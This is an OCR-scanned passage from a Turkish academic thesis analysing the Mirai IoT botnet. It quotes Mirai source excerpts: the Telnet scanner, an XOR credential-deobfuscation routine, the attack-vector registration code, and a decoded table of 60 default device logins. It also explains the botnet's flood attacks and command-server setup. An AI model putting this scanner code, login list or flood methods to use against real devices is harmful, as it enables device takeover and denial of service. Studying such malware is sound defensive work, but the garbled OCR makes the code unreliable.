adreslerinin kara listeye dahil edilmis oldugu gériilmektedir. Ileride deginilecegi iizere
sunucunun arayliziinde Rusga ibareler oldugu goriilse dahi ABD sinirlar igerisindeki
IP adreslerinin kara listeye alinmis olmasi, zararli yazilimi yazan kisilerin bu tilkenin
vatandasi oldugu veya bu iilkede yasadigi savini desteklemektedir. 19 Eyliil 2018°de
Mirai zararli yazilimini gelistirerek yaydiklar1 gerekcesiyle suglu bulunan Paras Jha,

Josiah White ve Dalton Norman ABD vatandasidir [87].

scanner.c

205  for (i = 0; i < SCANNER RAW PPS; i++)

206 {

207 struct sockaddr in paddr = {0};

208 struct iphdr *iph = (struct iphdr *)scannsr rawpkt;

2089 struct tecphdr *tcph = (struct tcphdr *) (iph + 1);

210

211 iph->id = rand next();

212 iph-»saddr = LOCAL ADDR;

213 iph->daddr = get random ip{():

214 iph-»check = 0;

215 iph-»>check = checksum generic((uintlé_t *)iph, sizeof
(struct iphdr));

216

217 if (i % 10 == 0)

218 {

219 tcph->dest = htons(2323);

220 }

221 else

222 {

223 tcph->dest = htons(23);

224 )

225 tcph->seq = iph->daddr;

226 tcph-»check = 0;

227 tcph->check = checksum tcpudp(iph, tcph, htons(sizeof
(struct tcphdr)), sizeof (struct tcphdr)):;

228

229 paddr.sin_family = AF_INET;

230 paddr.sin addr.s addr = iph->daddr;

231 paddr.sin_port = tcph->dest;

232

233 sendto (rsck, Scanner_rawpkt, sizeof (scanner_rawpkt),
MSG_NOSIGNAL, (struct sockaddr *)spaddr, sizeof (paddr));

234 )

Sekil 3.8 : Get_random_ip() fonksiyonunun kaynak kodlar1.
Baglanti kurma

Telnet protokolii uzun yillardir aga erisim yetenegi olan cihazlarda uzaktan oturum
acmak maksadiyla yaygin olarak kullamilmaktadir, varsayilan olarak 23 portunu

kullanir ancak baska portlarda hizmet vermesi miimkiindiir [88].
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Mirai zararli yaziliminda oncelikle ele gecirilecek cihazda Telnet protokoliiniin faal
olup olmadig1 kontrol edilir. Sekil 3.9’da gosterildigi tizere rastgele iiretilen ve kara
listede bulunmadigi kontrol edilen IP adresinin 23 numarali portuna TCP tiglii el
sikismada oldugu gibi SYN paketi gonderilerek bu portun acik olup olmadigi kontrol
edilir, gonderilen her onuncu SYN paketi ise 23 yerine yine Telnet tarafindan
kullanildig1 bilinen 2323 portuna gonderilmektedir. SYN paketi gonderilirken kaynak
port adresi her denemede rastgele iiretilen ve 1024’ten biiyiik bir sayiyla degistirilir.
Hedef cihazdan SYN+ACK paketi donerse baglanti durumu connection state
listesinden glincellenir, RST paketi gonderilerek baglanti sonlandirilir ve Telnet

baglantis1 kurulumuna baslanir.

scanner.c

674static ipv4 t get random ip(void)

675

676 uint32 t tmp;

677 uint8_t ol, o2, o3, o4;

678

679 do

680 {

681 tmp = rand next();

682

683 ol = tmp & Oxff;

684 02 = (tmp >> 8) & Oxff;

685 03 = (tmp >> 16) & Oxff;

686 o4 = (tmp >> 24) & Oxff;

687 }

688 while(ol == 127 || // 127.0.0.0/8 - Loopback

€89 (0l ==0) || // 0.0.0.0/8 - Invalid address space

€90 (ol == 3) || // 3.0.0.0/8 - General Electric Company

691 (ol == 15 || ol == 16) ||//15.0.0.0/7 - Hewlett-Packard Company

€92 (ol = 56) || // 56.0.0.0/8 - US Postal Service

693 (ol = 10) || // 10.0.0.0/8 - Internal network

694 (0l == 192 && 02 == 168) || //192.168.0.0/16 - Internal network

695 (o1l == 172 && 02 >= 16 && 02 < 32) || // 172.16.0.0/14 -Internal network

696 (ol == 100 && 02 >= 64 && 02 < 127)||//100.64.0.0/10 -IANA NAT reserved

697 (ol == 169 && 02 > 254) || // 169.254.0.0/16 - IBNA NAT reserved

€98 (01 == 198 && 02 >= 18 && 02 < 20) || // 198.18.0.0/15-IANA Special use

699 (ol >= 224) || [/ 224.% % *+ - Multicast

700 (0l =6 || o1l =7 || o1l ==11 || ol == 21 || ol == 22 || ol == 26 ||
0ol ==28 || o1l ==29 || ol == 30 || ol == 33 || ol == 55 || ol == 214 || ol ==
215) // Department of Defense

701 Ye

702

703 return INET ADDR(0l,02,03,04);

704 }

Sekil 3.9 : Hedef cihazla baglanti kurulmasina dair bir kisim kaynak kodlar.

Bilgisayarlarda Telnet baglantis1 kuruldugunda cesitli konfigiirasyon bilgileri (Do
Echo, Will Status vb.) otomatik olarak karsilikli alinir. Ancak gomiilii isletim sistemi

barindiran (embedded) cihazlarda karsilikli anlagsma isleminin (negotiation) elle
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yapilmas1 gerekmektedir. Scanner igerisinde tanimli fonksiyonlar ile bu anlagma

islemi gergeklestirilmekte ve Telnet baglantis1 kurulmaktadir.

Oturum agma

Mirai’nin hedef aldig1 kullanic1 adi-parola ciftleri scanner.c igerisinde sifrelenmis
olarak saklanmaktadir. Ayrica her bir kombinasyona bir agirlik katsayis1 tanimlanarak
denemelerde hangi siklikla kullanilacagini belirlemek miimkiindiir. Kombinasyonlarin
bellege yiiklenerek tanimlanmasi faaliyetinden sorumlu fonskyion add auth entry()
fonksiyonudur. Sifrelenerek kodlanmis kombinasyonlar ve add auth entry()

fonksiyonuna ait kaynak kodlar1 Sekil 3.10°da gosterilmistir.

scanner.c

123// set up passwords

124 add auth _entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13",10);

125 add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9);

126 add auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8);

127 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7);

128 add auth entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6);

129  add_auth _entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5);
130 add auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5);

871 static void add auth _entry(char *enc user, char *enc pass, uintlé_t weight)

872 {

873 int tmp;

874

875 auth_table = realloc(auth _table, (auth table len + 1) * sizeof (struct scanner_auth));
876 auth _table[auth table len].username = deobf (enc user, &tmp);

877 auth table[auth table len].username_len = (uint8_t)tmp;

878 auth table[auth table len].password = deobf (enc pass, &tmp);
879 auth_table[auth table len].password len = (uint8_t)tmp;

880 auth_table[auth table len].weight min = auth table max weight;

881 auth table[auth table len++].weight max = auth table max weight + weight;
882 auth table max weight += weight;

883 }

Sekil 3.10 : Mirai igerisinde sifrelenerek kodlanmis kullanic1 adr ve
parolalar.

Telnet baglantis1 kurulduktan sonra Mirai igerisine kodlanms 60 farkli kullanici adi-
parola ¢iftinden birini kullanarak oturum agmaya ¢alisilir. Oturum agilmazsa baska bir
kullanic1 adi-parola ¢iftiyle oturum agilmasi denenir. 10 basarisiz oturum agma

girigimi sonrasinda baglanti kesilir.

Basarili oturum gergeklesirse komut satir1 iizerinde table.c dosyasi igerisinde
sifrelenmis olarak saklanan shell, enable, system ve sh komutlar1 calistirilarak
sistemde Busybox olup olmadig1 kontrol edilir, var ise zafiyetli hedef bilgisi Sekil

3.11°de sunulan formata uygun olarak raporlama sunucusunda faaliyet gosteren
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toplayiciya (harvester) gonderilir. Baglanti kurma fonksiyonuna ait akis diyagrami

Sekil 3.12’de gosterilmistir.

Zero IP Adresi | Port Kullanicit adi | Kullaniciadi | Parola Parola

lug lug
(1 (4byte) | (2byte) | “FUUEY (multi-byte) | “2UEY | (multi-byte)
byte) (4 byte) (4 byte)

Sekil 3.11 : Raporlama sunucusuna gonderilen zafiyetli hedef cihaz bilgisi.

sayac=0

v

SYN gonder
sayag=sayac¢+1

Telnet
baglantisi kur

Kayitl hesap
bilgisiyle oturum
agmayi dene

Hesap bilgisini
RAPORLAMAYA
goénder

Evet Oturum

acgildi mi?

Sayacl0<

Baglantiyi
sonlandir

BiTIR

Sekil 3.12 : Mirai’nin baglant1 kurma fonksiyonunun akis diyagrama.

Scanner init() 1ile scanner.c Dbaglatildiginda kullanici adi1 parola ¢iftleri
add auth_entry() tarafindan bellege yiiklenmekte ve ¢agirdigi deobf() fonksiyonu ile
sifrelenmis kombinasyonlar ¢oziilmektedir. Deobf() fonksiyonunun kaynak kodlar1
Sekil 3.13’de gosterilmistir. Github {izerinde yayinlanan versiyonda bu uygulamada
kullanilacak sifre ¢6zme anahtar1 Oxdeadbeef olarak kodlanmistir ancak

arastirmacilarin analizini zorlastirmak i¢in botnet yoneticisinin bu kodu degistirerek
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zararli yazilimi kullanacagi degerlendirilmektedir. Mirai’nin igerisinde kodlanan

kullanic1 adi-parola ¢iftlerinin agik metin listesi Cizelge 3.1°de gosterilmistir.

Scanner.c

%63 static char *deckf(char *str, int *len)
964 {

965 int i:

966 char *cpy;

967

968 *len = util_strlen(str);

969 cpy = malloc(*len + 1);
970

971 util memcpy(cpy, str, *len + 1);
972

973 for (1 = 0; 1 < *len; i++)
974 {

975 cpy (1]l ~= 0xDE;

976 cpy[i] ~= 0xAD;

977 cpy [i] ~= 0xBE;

978 cpy[i]l ~= 0xEF;

979 }

980

981 return cpy;

9821

Sekil 3.13 : Scanner.c igerisinde bulunan sifre ¢6zme fonksiyonu.

Cizelge 3.1 : Scanner.c igerisinde sifreli olarak kodlanan kullanic1 adi-parola ciftleri.

Sira  Kullameci Sira Kullanicl Sira Kullaniel

Nu Ad Parola Nu Adi Parola Nu Adi Parola

1 root 888888 | -1 root 54321 4 root Xmhdipc
2 root Zte521 29 root 666666 42 root zIxx.

3 root admin 23 admin [bos] 43 root [bos]

4 root anko 24 admin 1111 44 root 0

> root default 25 admin 1111111 45 root 111

6 root dreambox | 26 admin 1234 46 root 1234

7 root hi3518 27 admin 12345 47 root 12345

8 root ikwb 28 admin 123456 48 root 123456

9 root jvbzd 29 admin 54321 49 root 7ujMkoOvizx
10 root juantech | 30 admin 7ujMkoOadmin| 50 root 7ujMkoOadm
1 root klvi23 31 admin admin 51 888888 888888
12 root kivizza | 32 admin admin1234 | s guest 12345
13 root pass 33 admin meinsm 53 guest Guest
14 root password | 34 admin pass 54 mother Fucker
15 root realtek | 35 admin password 55 service Service
16 root root 36 admin smcadmin 56 supervisor Supervisor
17 root system 37 adminl password 57 support Support
18 root user 38 administrator 1234 58 tech Tech

19 root vizxv 39  Administrator admin 59 ubnt Ubnt
20 root xc3511 | 40 666666 666666 60 user User
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3.2.1.4 Saldir1 modiilii

Saldir1 modiiliinii barindiran attack.c ve attack.h dosyalari i¢erisindeki kaynak kodlar
incelendiginde bot cihazlar tizerinden hedef 6riin sitelerine temel olarak dort tip saldirt
gerceklestirilebildigi goriilmektedir. TCP tipinde SYN, ACK, STOMP; UDP tipinde
UDP, VSE, DNS, UDPPLAIN; GRE tipinde GREIP, GREETH, APP tipinde HTTP
saldir1 vektorlerini kullanarak hedef sitelere dagitik hizmet dis1 birakma saldirisi
yapabilmek miimkiindiir. Saldir1 vektorleri attack init() ile ¢agirilan add attack()
fonksiyonu ile yiiklenmektedir. S6z konusu fonksiyonlarin kaynak kodlar1 Sekil
3.14’te gosterilmistir. Her bir saldir1 vektoriine ait sabitler ve tanimlar attack.h dosyasi
icerisine kodlanirken vektoriilerin  kaynak kodlar1 attack tcp.c, attack udp.c,

attack gre.c ve attack app.c dosyalar1 igerisine kodlanmaistir.

attack.c

22 BOOL attack init(void)

23 {

24 int i;

25

26 add attack (ATK VEC UDP, (ATTACK FUNC)attack udp gensric):
27 add attack(ATE VEC VSE, (ATTACK FUNC)attack udp wvse);

28 add_attack (ATE_VEC_DNS, (ATTACK FUNC)attack udp dns);

29 add attack(ATK VEC UDP PLRIN, {ATTACKiFUNC]attackﬁudpﬁplain):
30

31 add attack(ATK VEC_3YN, (ATTACK FUNC)attack tcp_syn):

32 add attack(ATK VEC ACK, (ATTACK FUNC)attack tcp ack);

33 add_attack (ATK_VEC_STOMP, (RTTACK FUNC)attack tcp stomp);
34

35 add attack (ATK VEC GRELF, (ATTACK_FUNC)atta:k_gre_ip);

36 add_attack (ATK_VEC_GREETH, (ATTACK FUNC)attack gre eth);

37

38 //add_attack(ATK VEC_ PROXY, (ATTACK FUNC)attack app proxy):
38 add_attack (ATE_VEC_HTTF, (ATTACK FUNC)attack_ app http):

40

41 return TRUE;

42 '}

228 static void add_attack (RTTACK VECTOR vector, ATTACK FUNC func)

227 i

228 struct attack method *method = calloc(l, sizeof (struct attack method));

229

230 method->vector = wvector;

231 method->func = func;

232

233 methods = realloc (methods, (methods len + 1) * sizeof (struct attack method
*y:

234 methods [methods_lent++] = method;

233 1

Sekil 3.14 : Attack_init() ve add_attack() fonksiyonlarinin kaynak kodlart.

Saldirgan taratindan komuta kontrol sunucusu araciliiyla komut génderilmeden 6nce
bot tarafindan saldirt fonksiyonu baslatilmakta ve ihtiyag duyulacak metotlar

yiiklenmektedir.

Komuta kontrol sunucusundan gelen komut attack _parse() fonksiyonuyla bot cihaz

tarafindan islenerek parametreler attack start() fonksiyonuna gonderilmekte ve saldiri
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baglatilmaktadir. Bot tarafindan birden fazla thread agarak saldirinin etkinligi
arttirllmaktadir. Saldir1 paketleri hazir oldugunda paketler saldirgan tarafindan

bildirilen bayraklar dogrultusunda hedefe gonderilmektedir.

DNS flood saldir1 vektorii

DNS flood saldirilar1 Mirai 6ncesinde de karsilasilsa da IoT ekosisteminde ilk kez
Mirai ile birlikte kullanilmaya baslanmistir [89]. DNS flood saldir1 vektorii kaynak
kodlar1 attack udp.c dosyasi igerisine kodlanmistir. Saldirgan hedef olarak bir etki
alani belirlemekte, etki alan1 adina yonelik hazirlanan ve gergekte var olmayan alt etki
alanlarini sorgulayan DNS sorgu paketleri vasitasiyla saldiriy1 gergeklestirmektedir.
Saldir1 sonucunda hedef olarak secilen etki alaninin DNS kaydini tutan yetkili DNS
sunucusu hizmet veremez hale getirilmekte ve bu sayede hedef etki alanina disaridan
erisim engellenmektedir. Bu saldirt  tipi DNS water-torture olarak da
adlandirilmaktadir. Diger saldir1 vektorlerinde hedefin IP adresi kullanilmakta iken bu
saldir1 vektoriinde sadece etki alani1 adi kullanilmaktadir. Saldir1 vektoriine ait kodlar
incelendiginde $STRING.domain.com formatinda belirlenen etki alanina ait alt etKi
alanini sorgulayan DNS sorgulari ile saldirt icra edilmektedir. 12 karakterden olusan

STRING dizisi rastgele iiretilmektedir. Ornek bir DNS flood log kayd: Sekil 3.15’te

verilmistir.

15:11:21.595437 IP 192.168.5.123.23454 > 192.168.5.4: 11715+ A? goOtl7gocdblw.domain.com
15:11:21.596128 IP 192.168.5.124.52911 > 192.168.5.4: 11831+ A? yr5dv39kgacr.domain.com
15:11:21.596431 IP 192.168.5.123.32158 > 192.168.5.4: 35971+ A? k5rew6rc4oqw.domain.com
15:11:21.596830 IP 192.168.5.122.54351 > 192.168.5.4: 983+ A? ewc5gh71mopt.domain.com
15:11:21.597294 IP 192.168.5.123.37349 > 192.168.5.4: 13652+ A? hoytg6fs39nl.domain.com

Sekil 3.15 : Bot cihaz tarafindan gonderilen $SSTRING.domain.com
sorgulart.

Yerel DNS sunucusu rastgele iiretilen alt etki alami adlarin1 cache {izerinde
tutmadigindan sorgular1 domain.com etki alanini tutan yetkili (authoritative) DNS
sunucusuna iletir. Yetkili DNS sunucusu kendisine gelen sorgu istegini isler ve
gercekte boyle bir alt etki alani bulunmadigindan NXDomain (non-exist) paketi
hazirlayarak yerel DNS sunucusuna iletir. Bu siiregte gelen DNS sorgu paketleri tistel
olarak artar ve belli bir siireden sonra yetkili DNS sunucusunun ag ve sistem
kaynaklar tiikenerek mesru DNS sorgulari cevaplanamaz hale gelir. Paketler gergek

DNS sunucularindan geldigi i¢in, DDoS’tan korunmak amaciyla gelen paketlerin
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kaynak IP adresleri bloklandig1 takdirde mesru DNS sorgularina da cevap
verilmeyecektir. Mirai DNS flood saldir1 vekt6riiniin mantiksal topolojisi Sekil

3.16°da gosterilmistir.

ISP 1
Recursive NS

A? g0tl7g0cdblw.domain.com

iy

? kS5rew6rc4ogw.domain.com N Domain.com
etki alanimi
tutan yetkili NS

3
b

ISP 2
Recursive NS

v I

? yr5dv39kgacr.domain.com

3

>

? hOytg6fs39nl.domain.com

ISP 3

? ewcS5gh71lmopt.domain.com

A? ty8rtS5vclwl3.domain.com = O

v

Sekil 3.16 : DNS flood saldirisinin mantiksal topolojisi.

VSE flood saldir: vektorii

Valve Source Engine saldirilar1 Valve firmasinca iiretilen Half-Life, Counter Strike:
Global Offensive, Team Fortress 2 gibi popiiler oyunlarin ¢ok oyunculu ¢evrim igi
sunucularint hedef almak i¢in kullanilan bir saldirt yontemidir. Bu saldirnda UDP
protokolii kullanilmaktadir. Valve oyun sunucular1 genellikle UDP 27015 portlarin
dinleme modunda tutmakta ve sunucuya baglanmak isteyen yeni oyunculari bu porttan
kabul etmektedir; ancak sunucu yoneticisi tarafindan baska bir portu bu géreve atamak
mimkiindiir [90]. Saldirgan yeni bir oyuncu gibi sunucuya baglant1 kurarak hangi
portun dinlemede oldugunu tespit edebilir. VSE baglant1 paketine ait 6rnek bir paket
icerigi Sekil 3.17°de gosterilmistir.

0000 00 0c 29 db 18 08 b8 27 eb d6 07 If @B GO 4500 ) ---' -2 -E
0010 00 35 f1 bl 00 00 40 11 01 38 cO a8 @3 73 c@ a8 L

0020 @3 @b fc 72 69 87 00 21 53 29 ff ff ff ff 54 53 g ---ri-+1 §)---TS
0030 6f 75 72 63 65 20 45 6e 67 69 6e 65 20 51 75 65 J§ource En gine Que
0040 72 79 00 ry:

Sekil 3.17 : Ornek bir VSE baglant1 paketi igerigi.
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VSE flood saldirt vektorii attack udp.c dosyasi igerisine kodlanmustir. Botnete dahil
edilmis cihazlar tarafindan tiretilen ve legal baglanti talepleriyle ayni igerikteki VSE
baglant1 paketleri ile hedef alinan VSE sunucusunun kaynaklan tiiketilirken baglanti
veri hacmi (throughput) de doygun hale getirilerek legal baglantilarin sunucuya

erigmesi engellenir.

SYN flood saldir1 vektorii

SYN flood saldirilarinda saldirgan kendi IP adresini degistirerek irettigi bir SYN
paketini TCP Uglii El sikismanm ilk adiminda oldugu gibi hedef sunucuya gonderir,
sunucu saldirganin SYN paketinde belirtilen sahte IP adresine SYN+ACK paketiyle
doniis yapar ve saldirgandan gelecek ACK paketini beklemeye baslar. Ancak
saldirganin gercek IP adresine paket ulasmadigindan ACK paketi hedef sunucuya
gonderilmez ve sunucu iizerinde iletisim kurulan port acik kalir. Bu sekilde ¢ok fazla
sayida farkli istemciden SYN paketi geldigi takdirde sunucunun baglantilar1 agik
tutmak icin harcadigi kaynak (baglanti tablosu) tiikenir ve sunucu legal baglantilara

hizmet veremez hale gelir [16,91]. SYN flood saldirist gorseli Sekil 3.18’de

sunulmustur.
Saldirgan
| s
Sahte IP adresli e 77”“* S : 0 -
SYN+ACK (sahte IP adresine) — —
N =——=ss
Legal Kullanici =534 ACK bekliyor.
‘ O “e
() SR SYN
' = & Kaynaklari
SYN+ACK @ 0] tiikendi.
bekliyor )

Sekil 3.18 : SYN flood saldirisi.

SYN flood saldir1 vektorii attack tcp.c dosyasi igerisine kodlanmistir. SYN saldirt
vektoriine dair kaynak kodlar incelendiginde tipik bir SYN flood fonksiyonuyla benzer
ozelliklere sahip oldugu goriilmiistiir. Ancak saldir1 parametrelerinde 6 TCP kontrol

bayraginin da (URG, ACK, PSH, RST, SYN ve FIN) secilebildigi tespit edilmistir.
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Kaynak port numarasi ve hedef port numarasi rastgele belirlenmektedir. Bu durum ag

giivenlik cihazlari {izerinde parmak izine dayali1 tedbir gelistirmeyi zorlastirmaktadir.

STOMP saldir1 vektorii

STOMP saldir1 vektorii attack tcp.c dosyasi igerisine kodlanmistir. Bu saldirt tipinde
Ucli el sikigma tamamlandiktan sonra hedefe ACK veya PSH+ACK flood
diizenleyerek DDoS azaltma tedbirlerini atlatmak hedeflenir. Ciinkii tUgli el
sikismanin basariyla tamamlanmasi sonrasinda giivenlik araglar1 kaynak IP adreslerini

beyaz listeye alma egilimindedir.

Mirai igerisinde bu saldir1 vektoriine ait kaynak kod analiz edildiginde ortalama 822
byte boyutundaki PSH+ACK paketler ile saldiriin gergeklestirildigi goriilmektedir.
Bu sebeple bu saldir1 vektoriinde volumetrik saldiri yapilmasinin amaglandigini
soylemek miimkiindiir. Ayrica iicli el sikismadan sonra Mirai’nin baglanti kurdugu
portu degistirdigi gorlilmiistiir. Bu tlir bir anomaliyi mevcut giivenlik cihazlariyla
tespit etmek miimkiindiir. Ancak saldirgan tarafindan bu davranisi1 saglayan kodlar

degistirilebilir.
GREIP ve GREETH flood saldir1 vektorleri

GRE protokolii Cisco tarafindan gelistirilmis bir IP tiinelleme protokoliidiir. Cesitli
protokollere ait paketler sarmallanarak (encapsulation) Cisco yonlendiriciler ile uzak
noktalar arasinda sanal noktadan noktaya hatlar olusturulur ve bu hatlar tizerinden veri
iletimi saglanir [92]. GREIP ve GREETH paketlerinin yapist Sekil 3.19 ‘da

goriilmektedir.

ETH
UDP uDP
IP P
GRE GRE
P P

(a) (b)

Sekil 3.19 : GRE protokolii paketlerinin yapisi: (a) GREIP, (b) GREETH.
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GRE flood saldirilarinda bot cihazlar tarafindan olusturulan GRE paketleri ayn1 anda
hedef ag cihazina gonderildiginde hedef cihaz bu paketleri agmaya, igerisindeki veri
yiikiinli iglemeye ve veri yiikiinde kayitli IP adresine paketleri iletmeye calisirken
kaynaklarin tiiketir ve gelen baska paketleri isleyemez hale gelir; ayrica bu saldir

vektoriinde bant genisligini tiiketmek de miimkiindiir [93].

GRE saldir1 vektorleri attack gre.c dosyasi igerisine kodlanmistir. GREIP saldir
vektoriine ait kaynak kodlar incelendiginde 512 byte boyutundaki UDP paketinden
olusan veri ylikiiniin (payload) GRE paketleri igerisine sarmallandig1 goriilmektedir.
Veri yiikii icerisindeki UDP paketinin IP baslik bilgilerinde rastgele se¢ilmis kaynak
IP adresi ve portu ile hedef IP adresi ve portuna sahip oldugu, dolayisiyla aldatma

yapildig1 goriilmektedir.

GREETH saldir1 vektoriinde sarmalanan veri yiikii igerisinde IP adresleri yerine MAC
adresleri kullanilmaktadir. GREIP’de oldugu gibi bu saldir1 vektoriinde de 512 byte
boyutundaki UDP paketinden olusan veri yiikii kullanilmakta, UDP paketlerinin
ethernet basliginda kaynak ve hedef MAC adreslerinin rastgele verildigi

goriilmektedir.

GRE paketleri bir TCP veya UDP paketi degildir; tiimiiyle farkli bir protokole ait
paketlerdir. Dolayisiyla bu saldir1 vektoriine yonelik tedbir alirken trafigin
engellenmesi veya tespitinde dogrudan bu protokole yonelik politika belirlenmesi
gerekmektedir. Gelen GRE paketlerinde 512 byte biiyiikliigiinde UDP paketi olmasi
bilgisinden istifade edilerek hazirlanan giivenlik politikasi ile Mirai botnet tarafindan
gerceklestirilen GRE flood saldirilarindan  korunmada basar1 saglanabilecegi

degerlendirilmistir.

ACK flood saldir1 vektorii

ACK flood saldirt vektorii attack tcp.c dosyasi igerisine kodlanmigtir. ACK flood
saldirt vektoriine dair kaynak kodlar incelendiginde tipik bir ACK flood fonksiyonuyla
benzer 6zelliklere sahip oldugu goriilmiistiir. ACK paketlerinin varsayilan olarak 512
byte boyutunda oldugu ve istege gore degistirilebildigi tespit edilmistir. Saldiri
parametrelerinde 6 TCP kontrol bayraginin da (URG, ACK, PSH, RST, SYN ve FIN)
secilebildigi tespit edilmistir. Kaynak port numarast ve hedef port numarasi rastgele

belirlenmektedir. Bu durum ag giivenlik cihazlarn tizerinden parmak izine dayali tedbir
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gelistirmeyi zorlastirdig1 gibi hedef IP adresinde hizmet veren sistemin botnete bagl
cihazlar yerine rastgele olusturulmus IP adreslerine RST paketi dondiirmesi, bu sayede
botnete bagli cihazlarin kaynaklarinin tiiketilmesinin 6nlenmesi saglanir. ACK flood

saldiris1 gorseli Sekil 3.20 ‘de sunulmugtur.

Saldirgan
‘ —— ACK
Sahte IP adresli 7 ) R : R >
4 7 ®
S ————
= - — — RIT=2
5 [00%=
. > O == .
P A SN ;
" :& Kaynaklari
o] tiikendi.

Sekil 3.20 : ACK flood saldirisi.

UDP flood saldir1 vektorii

UDP flood saldirilarinda hedef IP adresinde hizmet veren sistemin rastgele segilen
portlarina ¢ok sayida UDP paketi gonderilir. Paketleri alan uzak sistem paketlerin
geldigi portlart dinleyen uygulamalart kontrol eder, hi¢cbir uygulamanin bu portlar
dinlemedigini goriir ve paketleri “ICMP Destination Unreachable” paketiyle yanitlar.
Cok sayida ICMP paketi gonderimi sistem kaynaklarini tiiketecegi gibi diger
istemcilerin uzak sisteme erisimi de engellenir. Saldirganlarca sahte kaynak IP adresi
kullanildigindan yanit olarak donen ICMP paketleri saldirganlarin sistemlerine

ulasmaz [21].

UDP flood saldir1 vektorii kaynak kodlari attack udp.c dosyasi i¢erisine kodlanmastir.
Saldirt i¢in kullanilacak UDP paketlerinin boyutlarinin varsayilan olarak 512 byte
secildigi ancak istege bagli olarak bu boyutun degistirilebildigi goriilmiistiir. Ayni
sekilde ttl (time to live), df (don’t fragment) biti istege bagl olarak konfigiire
edilebilmektedir. Kaynak port numarast ve hedef port numarasi rastgele
belirlenmektedir. Bu durum ag giivenlik cihazlari iizerinden parmak izine dayali tedbir
gelistirmeyi zorlastirirken bot cihazin bu saldirty tiretmede kullandig: islemci giiciinii

arttirmaktadir. Bu saldir1 vektorinin laboratuvar ortaminda test edilmesi neticesinde
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Raspberry Pi cihazlarinda basariyla galisirken kameralar kisa bir siire igerisinde

islevsiz hale getirdigi (crash) gézlemlenmistir [89].

UDPplain saldir: vektorii

UDPplain saldir1 vektdrii UDP flood saldirt vektoriiyle ayni esaslarla hedef sistemi
etkilemektedir. Kaynak kodlar attack udp.c dosyasi igerisine kodlanmistir. Kaynak
kodlar incelendiginde UDP flood saldir1 vektoriine gére daha az parametrenin oldugu,
sadece paket uzunlugu, paket igerigi, kaynak portu ve hedef portun degistirilebildigi
goriilmiistiir. Bu durum islemeci giicii sinirh IP kamera gibi cihazlarin bu saldirty1 daha
etkin bir sekilde yiiriitmesine imkan saglamaktadir. Rastgele secilen port numalari
saldirgan tarafindan belirlenen sayilarla degistirilmedigi siirece parmak izine dayali

tedbirlerin bu saldir1 trafigini kesmede yetersiz kalacagi degerlendirilmektedir.

HTTP flood saldir1 vektorii

HTTP flood saldirilar1 uygulama katmani seviyesinde icra edilen saldirilardir. Hedef
web sunucusunda ¢ok sayida HTTP-GET veya HTTP-POST istekleri gonderilerek
sunucunun kaynaklarinin tiiketilmesi amaglanir. Hedef sunucu legal isteklerle saldiri
kapsaminda gonderilen istekleri ayirt edemez ve gelen tiim isteklere yanit vermek igin
kaynaklarmi kullanir, saldiriya botlar da dahil ederek saldirinin etkinligi arttirilir

[26,27]. Ornek bir HTTP-GET flood saldiris1 gorseli Sekil 3. 21“de sunulmustur.

Botnet

[}

=

T

Bosy
istemci
’ %0 o " w‘ (]
= : ‘AN — @R
[ ] ‘
2 erver.domain.com
[}
=

Sekil 3.21 : HTTP-GET flood saldir1 gorseli.

HTTP saldir1 vektorii kaynak kodlar1 attack app.c dosyasi igerisine kodlanmistir.

Kaynak kodlar1 incelendiginde esnek ve etkin bir saldirt metodu oldugu

degerlendirilmistir. Saldir1 parametreleri domain (etki alani adi), dport (hedef port,

varsayilan random), method (http metodu, varsayilan get), postdata (POST igerigi,
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varsayilan bos), path (http path, varsayilan dosya yolu) ve conns (baglanti sayisi)
olarak belirlenmistir. Genellikle GET ve POST metotlar1 ile HTTP flood saldirilari
gozlemlense de Mirai DELETE vb. metotlarla trafik tiretmeyi de desteklemektedir.
Her ne kadar hedef port varsayilani rastgele olarak belirlendiyse de 80 portunun
saldirganlarca hedef alinacagi degerlendirilmektedir. Bu saldir1 vektorii ile yapilan
testlerde, hedef web sitesindeki igerik de géz oniinde bulundurularak, saldirganlarca
iiretilen trafige web sunucusu tarafindan 20 kat daha biiyiik boyutta trafikle cevap
verildigi tespit edilmistir [89].

3.2.2 Komuta kontrol sunucusu

Komuta kontrol sunucusunun isletiminde kullanilan cnc alt dizininde bulunan dosyalar
incelendiginde Go programlama dili ile yazildigi goriilmektedir. Go programlama dili
derlenme ve yiirlitme islemlerinde verimli, agiklayict bir programlama diliyle
giivenilir ve dayanikli programlar yazabilmek amaciyla Google tarafindan 2007

yilinda gelistirilmis ve 2009 yilinda duyurulmustur [94].

Komuta kontrol sunucusu temel amaci Mirai bilinyesinde tanimli ii¢ aktoriin (bot,
admin, user) Mirai botnet ile etkilesimini saglamaktir. Bu kapsamda bot aginmn
yonetimi, admin ve kullanict hesaplarin yonetimi, saldir1 diizenleme, veritabani

olusturulmasi ve islem kaydinin tutulmasi faaliyetleri icra edilmektedir.

3.2.2.1 Komuta kontrol sunucusunun baslatim

Cnc dizini igerisindeki main.go dosyasi incelendiginde oncelikle bir bagl cihaz listesi
ve MySQL veritabant olusturuldugu goriilmektedir. Veritabani yonetici hesabi
kullanic1 ad1 “root”, parolas1 “password” olarak belirlenmistir. Veritabani ad1 “mirai”
olarak adlandirilmistir. Bot cihazlar komuta kontrol sunucusu ile 23 numarali port
tizerinden TELNET ile iletisim kurdugundan sunucunun 23 numarali portu dinlenerek
bot cihazlarn baglanti kurmasi beklenmektedir. Olusturulan veritabaninin adresi
varsayilan olarak 127.0.0.1 olarak belirlenmistir. Veritabanina erisim bir API
iizerinden saglanmaktadir ve iletisim 101 numarali port tizerinden gergeklesmektedir.

Main.go igerisindeki bir kisim kaynak kodlar Sekil 3.22°de verilmistir.

23 portu dinlenirken bu porttan gelen veri initalHandler() fonksiyonuyla

islenmektedir. Gelen veri 00 00 00 int (int >0) ise bu verinin bot bir cihazdan geldigi
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anlagilmakta ve bot.go dosyasinda tanimlanan NewBot() fonksiyonuyla bilgileri kayit
